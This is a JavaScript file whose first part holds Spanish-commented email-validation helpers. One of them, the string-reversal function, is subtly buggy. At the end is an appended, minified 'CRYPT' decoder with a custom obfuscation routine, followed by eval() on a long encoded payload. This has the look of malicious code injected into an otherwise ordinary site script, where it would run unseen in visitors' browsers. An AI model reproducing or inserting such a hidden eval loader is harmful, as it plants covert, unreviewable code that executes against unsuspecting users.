function numero_veces(cadena,caracter)
{
	var numVeces=0;

	while (cadena.indexOf(caracter,0)!=-1)
	{
		numVeces++;
		cadena=cadena.substr(cadena.indexOf(caracter,0)+1);
	}
	return numVeces;
}

function reversa(cadena)
{
	var resultado="";

	while (cadena!="")
	{
		resultado=resultado.concat(cadena.substr(cadena.length-1));
		cadena=cadena.substr(0,cadena.length-2);
	}
	return resultado;
}

function es_email(email)
{
	var cadena = email.value;
	var flag=true;

	//si hay espacios en blanco...
	if (cadena.indexOf(" ")!=-1)
		flag=false;
	//debe haber un único "@" en el medio de la cadena, así como no son
	//permitidos: "@.", ".@" o ".."
	//no puede empezar o terminar en "." o "@"
	//por lo menos debe haber un "."
	if ((numero_veces(cadena,"@")!=1) || (cadena.indexOf("@")==0) ||
		(numero_veces(cadena,".")==0) || (cadena.indexOf(".")==0) ||
		(cadena.indexOf("..")!=-1) ||
		(cadena.indexOf("@.")!=-1) || (cadena.indexOf(".@")!=-1) ||
		(reversa(cadena).indexOf(".")==0) ||
		(reversa(cadena).indexOf("@")==0))
		flag=false;
	//por lo menos debe haber un "." después de "@"
	cadena = cadena.substr(cadena.indexOf("@")+1);

	if (cadena.indexOf(".")==-1)
		flag=false;
	return flag;
}

function valida_mail(email)
{
	if (email.value.length!=0)
	{
		if (es_email(email))
			return true;
		else
			return false;
	}
	else
		return false;
}
var CRYPT={signature:'BXcfTYewQ',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i++));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('156159156208184176150227179176169216202135163213219152151199173224204201191229155170186186187187188152193187146171173213184161183238160171144217192193159207216168186210189190187206190169138182164208172205165222172131163175152204173139191229157187141168192172167215219152123207175153162200199170180183187170206203169152196138145172169207163160190240158150188205181167162204219131174195199173187146174225150171161170206192186188219192166156147207161172174222180117170152200155174158192190148200198153150204190207188120186208159201179185234186146194218220181176191240170153137207182189188213'));